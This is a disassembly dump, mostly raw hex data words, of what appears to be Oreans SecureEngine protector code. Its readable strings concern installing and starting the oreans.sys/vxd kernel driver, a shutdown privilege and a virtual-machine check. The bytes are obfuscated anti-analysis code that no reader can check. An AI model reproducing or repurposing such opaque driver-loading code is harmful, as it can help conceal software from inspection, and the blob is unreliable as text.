		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 5E9F2E0h, 0A840F00h,	0C7000000h, 0E7281985h,	105h, 0A585C600h
		dd 4705E732h, 2E303468h, 243481AAh, 3A435CB9h, 899B5FFh
		dd 858D05E7h, 5E7392Ah,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
		dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C3E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B4E9h, 60B58D00h, 0E805E9F2h, 225h, 0F2F5BD03h
		dd 0BD8305E9h, 5E9F2F5h, 0B840F00h, 0C7000000h,	0E70C8185h
		dd 105h, 0B58DC300h, 5E9F26Bh, 1FCE8h, 0F5BD0300h, 8305E9F2h
		dd 0E9F2F5BDh, 840F0005h, 0Bh, 281985C7h, 105E7h, 8DC30000h
		dd 0E9F2E4B5h, 1D3E805h, 0BD030000h, 5E9F2F5h, 0F2F5BD83h
		dd 0F0005E9h, 0B84h, 3185C700h,	105E720h, 0C3000000h, 0F275B58Dh
		dd 0AAE805E9h, 3000001h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h
		dd 0B840Fh, 85C70000h, 5E72819h, 1, 7FB58DC3h, 0E805E9F2h
		dd 181h, 0F2F5BD03h, 0BD8305E9h, 5E9F2F5h, 15840F00h, 0C7000000h
		dd 0E7281985h, 105h, 8185C700h,	105E70Ch, 0C3000000h, 0F28DB58Dh
		dd 4EE805E9h, 3000001h,	0E9F2F5BDh, 0F5BD8305h,	5E9F2h
		dd 0A840Fh, 85C70000h, 5E7138Dh, 1, 0F297B58Dh,	26E805E9h
		dd 3000001h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h, 0A840Fh, 85C70000h
		dd 5E7138Dh, 1,	0F2A2B58Dh, 0FEE805E9h,	3000000h, 0E9F2F5BDh
		dd 0F5BD8305h, 5E9F2h, 0A840Fh,	85C70000h, 5E72EF5h, 1
		dd 0F2A8B58Dh, 0D6E805E9h, 3000000h, 0E9F2F5BDh, 0F5BD8305h
		dd 5E9F2h, 0A840Fh, 85C70000h, 5E72081h, 1, 0F2AEB58Dh
		dd 0AEE805E9h, 3000000h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h
		dd 0A840Fh, 85C70000h, 5E70B01h, 1, 0F2BCB58Dh,	86E805E9h
		dd 3000000h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h, 0A840Fh, 85C70000h
		dd 5E71375h, 1,	0F2C9B58Dh, 5EE805E9h, 3000000h, 0E9F2F5BDh
		dd 0F5BD8305h, 5E9F2h, 0A840Fh,	85C70000h, 5E711A1h, 1
		dd 0F2D4B58Dh, 36E805E9h, 3000000h, 0E9F2F5BDh,	0F5BD8305h
		dd 5E9F2h, 0A840Fh, 85C70000h, 5E72825h, 1, 1E9h, 3F804700h
		dd 9840F20h, 80000000h,	850F003Fh, 0FFFFFFEDh, 1B960C3h
		dd 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 5840F16h,	0B9000000h, 0
aFga		db 'FG€>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 5E9F2F5h, 0AE9h,	0F585C700h
		dd 5E9F2h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 10h
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 10h
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		dd 0
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		align 8
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 89C48B00h, 0E719D1B5h, 8589F905h, 5E72F0Dh, 1A5BD0Bh
		dd 0C08B05E7h, 1D318D0Bh, 0BD8305E7h, 5E70C81h,	83097500h
		dd 0E72819BDh, 19740005h, 0C08B5350h, 43DB8h, 7D858900h
		dd 8D05E704h, 0E9B4939Dh, 5BD3FF05h, 19BD8358h,	5E728h
		dd 53501774h, 43DB8h, 7D858900h, 8D05E704h, 0E9B1829Dh
		dd 5BD3FF05h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 5510F34Ch, 19820F73h, 0E9000000h
		dd 14h,	5F520437h, 57269A0h, 657EF57Eh,	244A0E57h, 0A6D57A0Ah
		dd 0A459D89h, 0C08B05E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0F1C35242h, 0E8AEA7ACh, 10h, 0B440D97h
		dd 0FCCECB02h, 5DF507FBh, 0DBD52149h, 17E18589h, 8B5A05E7h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 5E3B1B99h, 0D10B49E7h, 0CE95Ch, 91AB0000h
		dd 2B50985Bh, 0D495FBFAh, 0BD83C38Bh, 5E70C81h,	83097500h
		dd 0E72819BDh, 13740005h, 0C08B5350h, 0B8h, 359D8D00h
		dd 0FF05E9B3h, 83585BD3h, 0E72819BDh, 11740005h, 0B85350h
		dd 8D000000h, 0E9B1E69Dh, 5BD3FF05h, 8DBD8B58h,	6605E704h
		dd 8B7896BAh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 135C2CB9h, 0BF0FC08Bh, 81BD83FEh
		dd 5E70Ch, 0BD830975h, 5E72819h, 50137400h, 0B8C08B53h
		dd 0
		dd 0B2679D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50117400h
		dd 0B853h, 9D8D0000h, 5E9B1B4h,	585BD3FFh, 1449BD8Bh, 10E905E7h
		dd 0C2000000h, 0A5F1C40h, 8D6EF7A3h, 64023A46h,	8BD09B5Ah
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0E2B5E292h, 8B88BA2Eh, 0EBBF66C0h, 81BD8321h
		dd 5E70Ch, 0BD830975h, 5E72819h, 50137400h, 0B8C08B53h
		dd 0
		dd 0B2CE9D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50117400h
		dd 0B853h, 9D8D0000h, 5E9B1CDh,	585BD3FFh, 12758D89h, 840F05E7h
		dd 6, 810Fh, 80600000h,	95897FE1h, 5E72CF1h, 6AC08B61h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0D123C355h, 1D17684h, 89C08B19h, 0E71401B5h
		dd 81BD8305h, 5E70Ch, 0BD830975h, 5E72819h, 50137400h
		dd 0B8C08B53h, 0
		dd 0B2009D8Dh, 0D3FF05E9h, 0B966585Bh, 0C08B8B38h, 4B9958Bh
		dd 0DCB505E7h, 880FC08Bh, 13h, 0EE9h, 169B1000h, 2AC62C9Bh
		dd 2E301A78h, 838DAD98h, 0E70C81BDh, 9750005h, 2819BD83h
		dd 740005E7h, 8B535019h, 7D0B8C0h, 85890000h, 5E7047Dh
		dd 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50177400h
		dd 7D0B853h, 85890000h,	5E7047Dh, 0B1829D8Dh, 0D3FF05E9h
		dd 9D89585Bh, 5E71195h,	33E18166h, 84EA81EDh, 8B53DB91h
		dd 0CF8166C0h, 85C6D5A0h, 5E732A5h, 0CF8B6653h,	395F9068h
		dd 68F0F99h, 9000000h, 0E72239BDh, 99B5FF05h, 305E708h
		dd 0E7189DBDh, 2A858D05h, 8005E739h, 0D0FF62EEh, 1C75958Bh
		dd 858905E7h, 5E71795h,	85C6D38Bh, 5E732A5h, 0F1BA6657h
		dd 5206683Bh, 89519004h, 0E716799Dh, 0B5FF5F05h, 5E70899h
		dd 24E59531h, 858D05E7h, 5E7392Ah, 6E9h, 7292B800h, 0FF923EC0h
		dd 18D31D0h, 8905E723h,	0E7045185h, 5E51B905h, 0FC6029D0h
		dd 27459589h, 0C66105E7h, 0E732A585h, 2CB24305h, 90702868h
		dd 0CF8166BCh, 0B5FF5748h, 5E70899h, 2B1DBD8Bh,	858D05E7h
		dd 5E7392Ah, 0FFD3B70Fh, 7D9D89D0h, 8905E70Ch, 0E72A1D85h
		dd 68C0F05h, 8B000000h,	0E72A6595h, 0A585C605h,	4C05E732h
		dd 5A767EBAh, 1CE96803h, 0F60D9DAh, 58Ah, 50DFB800h, 0BB661485h
		dd 8B61B5A5h, 0E717CD95h, 99B5FF05h, 6A05E708h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 73E4C352h, 0C509705Ah, 2056195Dh, 8DF8BF0Fh,	0E7392A85h
		dd 38E0F05h, 80000000h,	8B51FBCDh, 0E71A59BDh, 0D0FF5A05h
		dd 298589h, 958B05E7h, 5E711A5h, 2E5D8D8Bh, 85C605E7h
		dd 5E732A5h, 6146846h, 0C88BBADEh, 899B5FFh, 0B53105E7h
		dd 5E7019Dh, 392A858Dh,	6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 830FA2C3h, 7,	0CF816651h
		dd 0FF5AF9E5h, 21BD89D0h, 0E905E715h, 11h, 0FD3DDC8Ch
		dd 0E554D1Fh, 379E7258h, 85C2AECDh, 0C985897Fh,	0F05E71Ah
		dd 85C6D1B7h, 5E732A5h,	0B5E26847h, 0BD8B8A0Fh,	5E71B29h
		dd 899B5FFh, 8E0F05E7h,	6, 1A69BD03h, 858D05E7h, 5E7392Ah
		dd 6AD0FFF5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 3070C350h, 8E9E2BA4h, 19E18589h
		dd 85C605E7h, 5E732A5h,	6890F47h, 23000000h, 0E7194995h
		dd 0B5F36805h, 13E983D0h, 1B000000h, 36D86996h,	0A966F625h
		dd 25EFB521h, 7B8D15A5h, 0B5FFDDE0h, 5E70899h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 3AC35545h, 6810F35h
		dd 0B000000h, 0E729E995h, 2A858D05h, 0B105E739h, 29D0FFB5h
		dd 0E71B59B5h, 0FE805h,	0E8480000h, 93537775h, 1388F3C4h
		dd 0E5AA5C95h, 0FEB70F8Ch, 31858959h, 0F05E72Ch, 85C6CBBFh
		dd 5E732A5h, 0F5E18077h, 97A8A368h, 85B5FFF3h, 0E805E717h
		dd 0Dh,	0EF76AACFh, 738FF6DCh, 395D2597h, 5A99B25Bh, 392A858Dh
		dd 8D8B05E7h, 5E7162Dh,	8589D0FFh, 5E709BDh, 1BD9D01h
		dd 85C605E7h, 5E732A5h,	1D958947h, 6805E71Bh, 8728FAF6h
		dd 10E9h, 1414D300h, 5D23C6A7h,	15614E17h, 76EDBBA1h, 99B5FF88h
		dd 8005E708h, 858DE5F5h, 5E7392Ah, 21958B53h, 5F05E717h
		dd 3DBD0960h, 8905E725h, 0E72A21B5h, 0D0FF6105h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 61C35343h, 0C41DC173h
		dd 8D0B40D5h, 5E72365h,	0B518589h, 8D0B05E7h, 5E71821h
		dd 32A585C6h, 664305E7h, 0CA44C181h, 8E6EFC68h,	0ED958BBCh
		dd 0FF05E701h, 0E70899B5h, 29BD8B05h, 8D05E70Bh, 0E7392A85h
		dd 7D8D3105h, 0FF05E72Ch, 98D181D0h, 663D390Ah,	899A85B9h
		dd 0E72CBD85h, 0DAC98105h, 0C658CC7Fh, 0E732A585h, 0BD2B4505h
		dd 5E72A25h, 29CDBD8Bh,	696805E7h, 8B8E7269h, 0E72231BDh
		dd 99B5FF05h, 8D05E708h, 0E7392A85h, 0A59D8905h, 0FF05E720h
		dd 7D958BD0h, 8905E705h, 0E7170185h, 0AE805h, 55880000h
		dd 29B9C5Bh, 45C334BBh,	25458D8Bh, 0C65A05E7h, 0E732A585h
		dd 6A4405h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 731DD6C3h, 10E93Dh, 14410000h, 0B00EFDD2h
		dd 14447824h, 4640CC97h, 64688537h, 8BB8F2ECh, 0E7244DBDh
		dd 99B5FF05h, 8105E708h, 0AC9E4DDFh, 2A858D3Ah,	6A05E739h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 3D60C350h, 0F5B5CF59h, 0BD31D0FFh, 5E70B55h
		dd 15D58589h, 0C6FC05E7h, 0E732A585h, 25B24305h, 764AA768h
		dd 9840FC0h, 0F000000h,	38Ah, 0D78B6600h, 899B5FFh, 0AE905E7h
		dd 33000000h, 0E45EA66Ch, 0F657DD60h, 0DDB966A0h, 2A858DEAh
		dd 8005E739h, 0D0FFE3D5h, 55D18166h, 6D858949h,	8B05E707h
		dd 0E7040D95h, 61BD8005h, 5EA02h, 0BF840Fh, 85890000h
		dd 5E72975h, 243858Dh, 958905EAh, 5E71479h, 0EE950h, 0DA3C0000h
		dd 85D9F132h, 4AEADA84h, 4E443A78h, 89016AF8h, 0E708C1B5h
		dd 69958B05h, 6A05E72Ch, 10E900h, 0D1DF0000h, 369DA8C8h
		dd 0B17D9950h, 86FE4689h, 0BF6673FCh, 6A2D2Bh, 95FFF0B5h
		dd 5E72A1Dh, 126D8D33h,	858905E7h, 5E72B21h, 6880Fh, 0DA810000h
		dd 56B993CCh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 1DA9EAC3h, 0A5C5E17Ch, 0BA6660F5h
		dd 9D310F31h, 5E70A01h,	21B5FF61h, 8905E72Bh, 0E719719Dh
		dd 5195FF05h, 0E905E704h, 5, 0D20DAD18h, 66C08B9Ch, 0BD31FA8Bh
		dd 5E70405h, 0C81BD83h,	750005E7h, 19BD8309h, 5E728h, 53501974h
		dd 0D1B8C08Bh, 89000007h, 0E7047D85h, 939D8D05h, 0FF05E9B4h
		dd 83585BD3h, 0E72819BDh, 17740005h, 0D1B85350h, 89000007h
		dd 0E7047D85h, 829D8D05h, 0FF05E9B1h, 66585BD3h, 0BF1D6DBAh
		dd 7BBC9B9h, 0C08B5F53h, 152D9D89h, 85C605E7h, 5E732A5h
		dd 57006A47h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 21041C97h, 80B1848Ah, 952359F5h,	5E729D1h
		dd 0C8F7C168h, 699D8993h, 0FF05E701h, 0E70899B5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0B5953C02h, 2A858D7Dh, 0FF05E739h, 53006AD0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0BA6651CEh, 81593BD5h, 39EFF7DAh, 38A0F47h, 80000000h
		dd 6A5063C6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0E25BC353h, 0BAB93A64h, 8D45F041h
		dd 0EA068485h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B5897B29h, 5E72BF1h
		dd 9400C7h, 0D08A0000h,	38D0F58h, 80000000h, 0B58D12CEh
		dd 5EA0684h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	6AC35141h, 0F44BEF3Bh, 0B099523h, 6A5605E7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 269FC350h, 7C814869h, 958BBD65h, 5E70C01h
		dd 0C580D0FFh, 84858D6Fh, 8305EA06h, 0F060478h,	1385h
		dd 0F8B70F00h, 71885C7h, 105EAh, 0B5890000h, 5E70AC1h
		dd 301BD83h, 0F0005E7h,	0A785h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A3565A01h
		dd 0F52EF7E3h, 18BD83AEh, 5EA07h, 76850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 236194C3h, 0A5950353h, 5F05E716h, 401BD83h, 0F0005E7h
		dd 4384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F3C7425h, 0AE8F9BFh, 10000000h
		dd 6D910527h, 0A5B41433h, 318D890Eh, 5F05E722h,	119185C7h
		dd 5E7h, 0F88B0000h, 8BDB8C66h,	0E723BDBDh, 4C3F605h, 4F1840Fh
		dd 10E90000h, 25000000h, 11C86009h, 0DF8A2A28h,	5D02926h
		dd 0C7217614h, 0E72B8D85h, 5, 6EBD8000h, 5EA02h, 6850Fh
		dd 8D310000h, 5E7179Dh,	32A585C6h, 894705E7h, 0E707D195h
		dd 5B866805h, 8589E3E4h, 5E712D5h, 1AC5958Bh, 0B5FF05E7h
		dd 5E70899h, 0CE9h, 0A14C9800h,	2F5AACCh, 0F787BF85h, 2A858D42h
		dd 6605E739h, 0E60BF181h, 0CE8D0FFh, 0D3000000h, 0EB6F3260h
		dd 8A81CE76h, 8B831CE4h, 0E72F1D8Dh, 4685A05h, 8B000001h
		dd 0E708B18Dh, 0F19D8D05h, 0E905E725h, 9, 0FA271F17h, 83B9A2BFh
		dd 0FB8B5323h, 0BD23D0FFh, 5E70BB9h, 25F1858Dh,	0EE905E7h
		dd 59000000h, 0BA29C033h, 0A7086049h, 0D66F27BAh, 0BF0F507Dh
		dd 0B5BD89CFh, 8D05E705h, 0EA022085h, 148C0F05h, 0E8000000h
		dd 8, 29A1F30Bh, 1B1DEE89h, 2981B589h, 505905E7h, 28899D01h
		dd 816605E7h, 8D1423D2h, 0E9F8F385h, 0C68B6005h, 98D78166h
		dd 8B50610Ah, 0E7242D95h, 0BD95FF05h, 905E709h,	0E719E985h
		dd 0CC48305h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	0EAC35747h, 666048C6h, 8BD825BEh, 0E721499Dh, 6A6105h
		dd 8068h, 6A036A00h, 68006A00h,	80000000h, 0F8F3858Dh
		dd 0FF5005E9h, 0E72CBD95h, 3858905h, 0C605EA02h, 0E732A585h
		dd 87684705h, 0FFC7B15Eh, 0E70899B5h, 2A858D05h, 0FF05E739h
		dd 0FF006AD0h, 0EA0203B5h, 66D0FF05h, 6EF1D181h, 0AF18D0Bh
		dd 0D03D05E7h, 0F000037h, 5583h, 0FFF1B100h, 0EA0203B5h
		dd 758D2905h, 0FF05E711h, 0E7076D95h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 3DBD89EFh, 0F05E719h, 288h, 8153B100h, 0AB1648D9h, 106E954h
		dd 85890000h, 5E72BD1h,	1CE9BD8Bh, 0B5FF05E7h, 5EA0203h
		dd 0D2B70F51h, 6D95FF59h, 6A05E707h, 0AE800h, 0B7100000h
		dd 1A1F14ECh, 52A2AE6Dh, 0F1816657h, 595AD960h,	6A3FB6h
		dd 1B519D29h, 6A05E7h, 66006AFCh, 1732F181h, 14E9006Ah
		dd 1B000000h, 0F6FACCD1h, 0C8FA464Dh, 0AB94660Bh, 78596C3Ch
		dd 6A8F9DA3h, 5958900h,	8D05E720h, 0EA020785h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0CFF00E3Dh, 0A6840162h, 1A24E781h, 0F501379h, 58Eh
		dd 5CA6BA00h, 95FF7C52h, 5E72CBDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0A1C35646h,	66170AFBh, 0EE71E981h
		dd 0D3B12B9h, 0FFF88322h, 15E850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0D2C80BC3h
		dd 8D8BF98Bh, 5E72CA5h,	0B980858Dh, 810F05E9h, 6, 2775BD8Bh
		dd 0AE805E7h, 4C000000h, 7817E7CCh, 3750B4C1h, 0C78166DFh
		dd 0FF5A698Eh, 0F5BD23D0h, 6A05E701h, 85295200h, 5E72C41h
		dd 60006A5Ah, 6E9h, 71E79600h, 0E96B748Ah, 10h,	0B598A60Eh
		dd 4FA1E100h, 52D855DFh, 9B31FECBh, 29006A61h, 0E70AA99Dh
		dd 6A006A05h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 664BC352h, 0F983054h, 86792734h
		dd 0B589006Ah, 5E72CF5h, 0CD80006Ah, 7858DF1h, 0B605EA02h
		dd 0F6050E1h, 682h, 0EDBD8B00h,	6105E701h, 2CBD95FFh, 958B05E7h
		dd 5E703A1h, 0FFFF883h,	7385h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0C1438F46h
		dd 0C8BF0FCDh, 0FC0FB58Dh, 8D8905E9h, 5E70BC9h,	0A7A6858Dh
		dd 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0D0FF24C3h, 22EDB589h, 6A05E7h, 6830Fh, 0BD890000h
		dd 5E7243Dh, 170195FFh,	958B05E7h, 5E70659h, 2038589h
		dd 8B6605EAh, 6A006AFEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 2411C356h, 0AF8D8CBh
		dd 0FB858DF6h, 8905EA01h, 0E7002D95h, 820F6005h, 0
		dd 2ADB8166h, 815061F8h, 0E57D25D9h, 0CBBF0F03h, 0A9B2046Ah
		dd 1B11858Dh, 0AEB905E7h, 5055F6AFh, 27E98D8Bh,	6A05E7h
		dd 0DAC28166h, 0FC006A8Eh, 6A016Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D4A6D2C3h
		dd 8A7923C2h, 0F562C5CCh, 203B5FFh, 0BF6605EAh,	95FFA1AFh
		dd 5E715D5h, 51BD2B60h,	6105E71Ah, 1AFCE9h, 8B4CB500h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 52E613C3h, 5C63E781h, 835A685Ah,	0E70C81BDh
		dd 9750005h, 2819BD83h,	740005E7h, 8B535019h, 7D2B8C0h
		dd 85890000h, 5E7047Dh,	0B4939D8Dh, 0D3FF05E9h,	0BD83585Bh
		dd 5E72819h, 50177400h,	7D2B853h, 85890000h, 5E7047Dh
		dd 0B1829D8Dh, 0D3FF05E9h, 0B509585Bh, 5E732D5h, 6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0F16588C3h, 90901FEAh, 2BB04BFBh, 0E7075D95h, 8D85C705h
		dd 105E72Bh, 31000000h,	0E72BD195h, 0E7B86805h,	0B5FFCEE4h
		dd 5E72A6Dh, 392A858Dh,	0D0FF05E7h, 9558589h, 0D46805E7h
		dd 0FFC005DBh, 0E72A6DB5h, 2A858D05h, 0FF05E739h, 358589D0h
		dd 8D05E71Bh, 0E9F6AC85h, 0B5FF5005h, 5E70899h,	19E195FFh
		dd 0C00B05E7h, 0D88B0B74h, 65F858Dh, 0FF5005EAh, 5F858DD3h
		dd 6605EA06h, 75093883h, 0FD85C70Ah, 105E701h, 0FF000000h
		dd 0E70B5195h, 0FF2505h, 0F8830000h, 0C70A7305h, 0E7319D85h
		dd 105h, 85FDBF00h, 8D892D39h, 5E71859h, 26EBD80h, 0F0005EAh
		dd 0C85h, 0A2E9F500h, 81000019h, 4886AFEAh, 0FDBD833Eh
		dd 5E701h, 12D850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0A8689EC3h, 0F7BB63BDh
		dd 18D8B96h, 8D05E70Ah,	0EA023885h, 69958B05h, 5005E707h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 24C35747h
		dd 0DBCD124Ah, 10890Fh,	0BE90000h, 0AB000000h, 582F3846h
		dd 4FAF4E5Dh, 16A577Dh,	13CDB589h, 6A05E7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 20C35141h, 165E48E0h
		dd 80F52EE0h, 6AB5EEh, 0BE9h, 0CEAF4700h, 0B6773258h, 0E521F919h
		dd 2A1D95FFh, 0DD8005E7h, 8589F974h, 5EA0262h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 86C35040h, 2C7F53A3h
		dd 13E9EAh, 0C0E30000h,	0B27F3979h, 84289BD2h, 7F99A25Fh
		dd 0B5B3E6D2h, 0BF0F60A9h, 2810FD6h, 8B000000h,	0FF6A61D8h
		dd 0F2D98166h, 0BA66533Ch, 0FF594C52h, 0EA0262B5h, 29505105h
		dd 0E700B585h, 0FF5F5905h, 0E7045195h, 0E7E78105h, 8D1FF89Eh
		dd 0E9F67385h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 8C0CC17h, 41517807h, 8B50D902h
		dd 0E72B2D95h, 2995FF05h, 6605E700h, 898F83BFh,	0E9F6FD85h
		dd 0FE805h, 0C4160000h,	0CC5F8E54h, 0BF2B9308h,	0CAEA5AADh
		dd 0FDBD8B36h, 5F05E719h, 0F680858Dh, 880F05E9h, 6, 0CE21C181h
		dd 66505BFBh, 0FF3DECB9h, 0E9F6FDB5h, 0E195FF05h, 6605E719h
		dd 8589D38Bh, 5E713E9h,	0EE9h, 0A526B300h, 0E9EB28E8h
		dd 901ED3D5h, 8DF916D9h, 0E9F6EE85h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F25910Dh
		dd 688h, 599D8900h, 5005E71Bh, 19F28166h, 0FDB5FF68h, 0FF05E9F6h
		dd 0E719E195h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0CF1AB17Ch, 0DA64826Ch
		dd 0F7118589h, 0EE905E9h, 1000000h, 0DF5B4EF1h,	34611F01h
		dd 0D30F8DE1h, 0CD858DF8h, 6A05E9F6h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0ADAEC351h
